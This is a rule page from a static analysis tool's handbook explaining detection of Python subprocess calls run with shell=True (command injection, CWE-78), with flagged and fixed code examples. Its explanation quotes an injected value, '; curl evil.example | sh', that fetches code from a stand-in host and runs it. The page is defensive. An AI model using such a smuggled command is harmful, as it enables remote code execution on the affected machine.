Skip to main content

SKY-D209 · Security in code

Subprocess run through a shell

HighCWE-78

A command written directly as fixed text, with no $ or backtick expansion and no risky command in it, is reported as LOW and hidden from the default list.

subprocess.run(..., shell=True) and the helpers that always use a shell pass the whole command string to /bin/sh, which also obeys ;, |, && and $( ). SKY-D209 reports these calls so that the command string is reviewed.

Languages
Python
Quality gate
counted toward the gate limits (full and diff scans). LOW findings for fixed commands are hidden from the default list but still counted.
Finding type
review
Catalog name
Subprocess shell execution
Wrong result? Report itA false positive, a missed case or a confusing message: it goes privately to the founder.

Why it matters

Whatever ends up in the string runs with the program's rights. A task name, branch name or file name containing ; curl evil.example | sh becomes a second command, and quoting mistakes are easy to miss in review.

What Skylos flags

tools/tasks.py · PythonReported on line 9
import jsonimport subprocessfrom pathlib import Path  def run_task(name: str) -> int:    tasks = json.loads(Path("tasks.json").read_text())    command = tasks[name]    return subprocess.run(command, shell=True).returncode

What Skylos leaves alone

tools/tasks.py · Python
import jsonimport shleximport subprocessfrom pathlib import Path  def run_task(name: str) -> int:    tasks = json.loads(Path("tasks.json").read_text())    argv = shlex.split(tasks[name])    return subprocess.run(argv).returncode

Why Skylos leaves it alone

shlex.split() turns the command into a list of words and subprocess.run() starts the program directly, with no shell, so ; or $( ) in the text are passed as plain characters. Without shell=True there is nothing for this rule to report.

How Skylos decides

  1. Resolves call names through imports and assignments (import subprocess as sp, run = subprocess.run).
  2. Matches any subprocess.* call that passes shell=True as a literal, plus subprocess.getoutput, subprocess.getstatusoutput and asyncio.create_subprocess_shell, which always use a shell. A shell= given as a variable is not matched here.
  3. Reports HIGH when the command is built (f-string, +, %), is a variable or parameter, contains $ or a backtick, or is a fixed command that the shell-command guard rates as dangerous (broad deletes, secret exfiltration, a download piped into a shell, credential reads).
  4. Lowers to LOW a command written directly as fixed text without any of that, such as "git rev-parse HEAD". LOW findings are hidden from the default list, stay in JSON output and are counted by the gate.
  5. Untrusted data (a parameter, request data, the environment) reaching the command is reported separately as SKY-D212, which also covers a shell= given as a variable.

How to fix it

Split the command into a list and drop shell=True. If the string really needs shell features such as pipes, build it from fixed parts and pass each variable through shlex.quote().

tools/tasks.py · Python · the fix, against the flagged file
import jsonAdded: import shleximport subprocessfrom pathlib import Path  def run_task(name: str) -> int:    tasks = json.loads(Path("tasks.json").read_text())Removed:     command = tasks[name]Removed:     return subprocess.run(command, shell=True).returncodeAdded:     argv = shlex.split(tasks[name])Added:     return subprocess.run(argv).returncode

When it can be wrong

  • Commands from a file your team controls, such as a Makefile-like task list, are still reported as HIGH: the rule does not know who writes the file.
  • When the command also contains a function parameter or request value, the same line gets SKY-D212 as well.

Seeing a case that isn't listed here? Report the wrong result so the rule can be fixed. Don't paste company code: describe the shape of it.

How to silence it

  • Mark a reviewed call on its own line. A bare # noqa does not hide a HIGH security finding.

    Python
    subprocess.run(command, shell=True)  # skylos: ignore[SKY-D209] tasks.json is repo-owned
  • Accept existing findings with skylos baseline ., then scan with --baseline.

  • [tool.skylos] ignore = ["SKY-D209"] turns the rule off for the whole project. It does not hide SKY-D212.

From the Skylos rule handbook, Skylos 5.8.0 (commit 5b880b0). All rules.